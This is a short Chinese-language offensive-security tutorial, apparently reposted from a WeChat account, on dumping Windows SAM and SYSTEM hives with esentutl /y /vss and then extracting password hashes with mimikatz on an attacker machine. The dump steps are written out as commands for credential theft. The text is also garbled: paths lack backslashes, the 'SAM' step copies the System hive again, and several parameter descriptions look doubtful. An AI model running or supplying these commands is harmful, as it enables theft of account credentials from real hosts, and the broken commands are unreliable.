通过Esentutl 获取SAM文件

Tips +1

工具简介

esentutl 是一个用于处理 Extensible Storage Engine (ESE) 数据库的 Windows 命令行工具。ESE 是一个嵌入式式数据库引擎，常用于 Windows 操作系统中的各种应用，如 Active Directory、Windows Update 数据库等。esentutl 工具提供了一系列操作，包括维护、修复、备份和还原 ESE 数据库。在网络攻防中，我们可以利用该工具来导出系统SAM文件。

参数详情

以下是 esentutl 命令行工具的一些常见参数及其功能的详细信息：

/p - Repair Database:

用法：esentutl /p <database_file>
功能：尝试修复指定的数据库文件。
/d - Defragment Database:

用法：esentutl /d <database_file>
功能：对数据库文件进行整理和优化，以提高性能。
/r - Replay Log File:

用法：esentutl /r <log_file_base_name>
功能：重做损坏的日志文件，以恢复数据库的一致性。
/y - Copy File:

用法：esentutl /y <source_file> <destination_file>
功能：创建指定数据库文件的副本，用于备份。
/g - Check Database Consistency:

用法：esentutl /g <database_file>
功能：执行性能分析，检查数据库文件的一致性。
/l - Display Log File Information:

用法：esentutl /l <log_file>
功能：显示指定数据库的日志文件信息。
/m - Display Database Header:

用法：esentutl /m <database_file>
功能：显示指定数据库的元数据信息。
/v - Verify Database:

用法：esentutl /v <database_file>
功能：验证数据库文件的完整性。
/k - Checksum Database Pages:

用法：esentutl /k <database_file>
功能：检查数据库文件中每个页面的校验和。
/x - External Configuration:

用法：esentutl /x <config_file>
功能：使用外部配置文件执行 esentutl 操作。
/h - Display Usage:

用法：esentutl /h
功能：显示 esentutl 命令的用法和帮助信息

使用实例

利用esentutl 导出系统sam文件和system文件，sam文件保存了用户凭据，system文件则保存了能够解密sam文件内容的syskey。因此我们需要同时导出两个文件。

利用条件

• 必须以管理员身份运行

• Windows10Windows2016以上版本（需增加/vss参数，该参数可以复制锁定文件）

利用过程

1、执行如下命令获取System文件

esentutl.exe /y /vss C:WindowsSystem32configSystem /d System
#VSS本质上属快照(Snamshot)技术的一种，主要用于备份和恢复(即使目标文件被系统锁定)。

2、执行如下命令获取SAM文件

esentutl.exe /y /vss C:WindowsSystem32configSystem /d SAM

3、使用mimikatz 解密获取系统哈希

将目标主机的systemsam文件拷贝到我们的攻击机器，使用mimikatz进行解密，获取哈希

mimikatz.exe "lsadump::sam /system:system /sam:sam" exit

原文始发于微信公众号（贝雷帽SEC）：通过Esentutl 获取SAM文件